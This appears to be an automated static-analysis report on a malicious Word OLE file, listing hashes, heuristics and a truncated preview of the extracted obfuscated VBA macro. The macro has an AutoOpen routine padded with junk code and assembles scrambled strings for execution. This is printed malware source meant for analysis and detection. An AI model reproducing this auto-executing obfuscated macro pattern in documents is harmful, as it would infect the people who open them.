Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 779a874e471a8227…

MALICIOUS

Office (OLE)

127.6 KB Created: 2018-10-03 10:13:00 Authoring application: Microsoft Office Word First seen: 2018-11-20
MD5: 61510a349c851378a37c72357f396e9f SHA-1: 1dd8b113193fe02825877096607701298cfd2517 SHA-256: 779a874e471a8227d315d8bdffe6c456f1af4327a318c16ab89b7d6479d2116a
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious OLE document containing a VBA macro. The macro uses a Shell() call, indicating an attempt to execute arbitrary code. The AutoOpen macro is present, suggesting it will execute automatically when the document is opened. No specific family could be identified due to the obfuscated nature of the script.

Heuristics 6

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 130,688 bytes but its declared streams total only 32,741 bytes — 97,947 bytes (75%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19287 bytes
SHA-256: 4e437ab234653eb1147e1383b21879aa4c81ae8638dbb37603385eceddc87ba7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "qTkihtFkidSBl"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   If qCUbI > zMcaF Then

Dim YKtHcW()
rCiPw = BkWiE + ZwSDZ
GawmiT = zQPFr + IlztN + nVEGn + iYPjpG

End If
   If MbPOUJ <> DwXGM Then

Dim sjYGD()
SKFZi = iHBbpz + zpSak
tcKijV = vwrDEn + kRlHB

End If
   If VvHET Eqv zAGmf Then

Dim YvZbFE()
mUBTIK = uCRbI + Xsnppo
rpVzUI = GcpEjB + hwTbw

End If
   If Uujfd <= HfIkmQ Then

Dim FwzDz()
MzSNM = HoqwTN + tdWumS
bpaUFS = qElzQ + wiRChX + WrRjpW + XhiBNl

End If
OsPkiUso (RcNwjcQAZI + oCzJCRPM + YNkwutsNPfZ + OkMVjXCa + sXqwfm + YWYBX + QMwuWLzwsQL + zUIXWV + nDAEuw + WwItYQ + zDlsL)
   If qJiAZ < 5 Then

Dim SLiWH()
QjswQU = tdEccK + HTOYc

End If
   If NOdUj = rfjXv Then

Dim WjjiU()
LvEZd = FHMjl + CLVNnw
nowiT = WcHNV + YRTzQ

End If
   If EwWvkw Or 11 Then

Dim skqDAs()
JSdpc = zmmhFq + wwwKt + oLnWA + VDAtOY
RwzAli = qtSKp + uiiunf

End If
   If lMPbMH >= 1 Then

Dim wUkoIv()
VjkNQl = Howuq + MTjLE + zMvYMl + ZaBsT
ZdCki = AfoiYQ + VnjilY + LwYaHX + tLZFwf

End If
End Sub


Attribute VB_Name = "EAWwcKGrztX"
Function RcNwjcQAZI()
fUTqmCVw = "`ja ,S,@ [" + "p[b[q [t[4:[5[4" + "[\[ [n'[g[ [$1[4[ " + "@[ [w[ [_[W[P" + "[ [j[<[b[ k[" + "x% Gs[y[ [m[P[B[ [9["
OADQlUutiA = "(x[ %[$[T[ [w[" + "-[ [ [7[J[0[" + " [G[I[R[ [G[a[X[ " + "[Q[+[W[ [)W[j[ [uK" + "[Y[z[x[l[3[z[" + "W[]S[x[q[.[r[e[>"
If nmmXN And NuUvw Then

Dim QkuBq()
NYoUvi = auCZcT + zVPlcR

End If
   If wBVCz Or bYjDuY Then

Dim FqDHU()
DzwjDs = kfmIKb + lVhZu + tKMdt + rSCuN

End If
   If UIozoz <= qlUJD Then

Dim jcLhkH()
jfMXCD = NXTwnR + fiiUZ
EzHwQ = IdRYKj + XOpwQ + lzITRY + mjBwh

End If
   If hriNU < IlrhK Then

Dim ToVTr()
inMKU = cHLuUJ + ZzErz + iJjRJL + RDXIzw
UivzWW = lNwNQh + lQPzY

End If
hjkGmmwh = "[5[4`M[8[6[" + "q" + """" + "O[C[^@[4[j" + "`p[:[1[z,[a['" + "[8[+[tR[h[^[$[x[^" + "[=$[][bM[5[" + "Ho[8U[A[_,[![W[8[f"
If vfQibj = hILKKM Then

Dim LoPFPu()
bwjdJ = rkPXP + qEBOI + koacpq + OboLW
CqLUjj = RTjws + vJVXKa + HfFww + pYvoC

End If
   If kuZZa Or LjSbb Then

Dim dBkfA()
ozRQf = UEOlRq + RUPRQW

End If
   If aLCRRJ <= svlbt Then

Dim GijJi()
zhskS = kBLhlZ + hirZT + HlBBP + CzAlnS

End If
   If oMKfjR Xor DfRFdj Then

Dim uvsEd()
PaXlOW = thWijY + zjzqns + DcOATO + vcCkZ
iOoZQM = kWJmYF + CKwCQl + MwJkvI + wETtH

End If
GdNNASTciJ = "[h`[A@[?[ZS[3[Q[" + "*w[5[g[e[!K[a" + "&[ [V[7[Lj[+[" + "c[7[b[7[G@[q'[Z[" + "a[F[N[a[m[*[u[?" + ",[bm[#[C[h["
jnopBQ = "'[5[Y[l[7[" + "t[Ws[js[*k[p%['[Fj" + "o[8[8.[Q[$&[jK[ [A[I" + "[J@S[][Z[ [w\[?"
RcNwjcQAZI = fUTqmCVw + OADQlUutiA + hjkGmmwh + GdNNASTciJ + jnopBQ
   If MzBlYT And CQDzzo Then

Dim ntQwt()
ORkQG = vzCVF + LJBmT + wLRTV + wfzKDi
aamUvM = fGXqAv + mniOBZ + zitvvC + aSlwX

End If
   If cffhJh > 9 Then

Dim XOYTYT()
DUOlEW = ZOchKt + jUIWi + Wmkwi + arXtWU

End If
   If mYoGZj >= rnbSaj Then

Dim sUvCE()
cstZzK = Eomuc + SAOpI + qAFuSd + TGizq
TICtfP = PRnDB + pYRLdi + aNjXwb + iqLVqv

End If
End Function
Function oCzJCRPM()
If wdLRu And zObUa Then

Dim SkBOqZ()
KcclP = USucEd + zZHdHh + zOCdzd + XdKhsP

End If
   If JPdCpM <= psXQn Then

Dim bmXbTF()
EVapiO = murWbo + TIcDwj
EUzMwz = DCWol + rnpnT + ZZuAAo + EHiuXU

End If
   If WEJuc <> 14 Then

Dim VqLck()
ErlwS = GmJuj + zSowVc + GkiPhB + ttnZti
kaIBd = fiwBc + TuKSY + jBicZ + DuWMNw

End If
   If PGjZBL < NCsln Then

Dim BvFSCT()
ZfvDT = YFSNFf + iCEtFm + oVVFq + jpQQX
hDTkKf = YnTvo + FHSzqL + QESDK + NLvipB

End If
   If CiPrf And sLvYnd Then

Dim KhBjaP()
KchHA = wivSVw + bUpiS
ddYFFo = otMUdm + fpZzHq

End If
   If kVsvrZ <= FlXqhj Then

Dim dXHIdH()
aznmww = jvLNwU + llLqWA + QFGww + AnZjmp

End If
iOKHGjs = "[c[!Z[u[w[ %[/[{[)" + "[$[d[r[q[b@[7[" + "Ww[>hK[Q[h[T[!^[\[8" + "%[![m:[b[y,[#[" + "i[yj[D[f[X[y[w[C[6[P
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.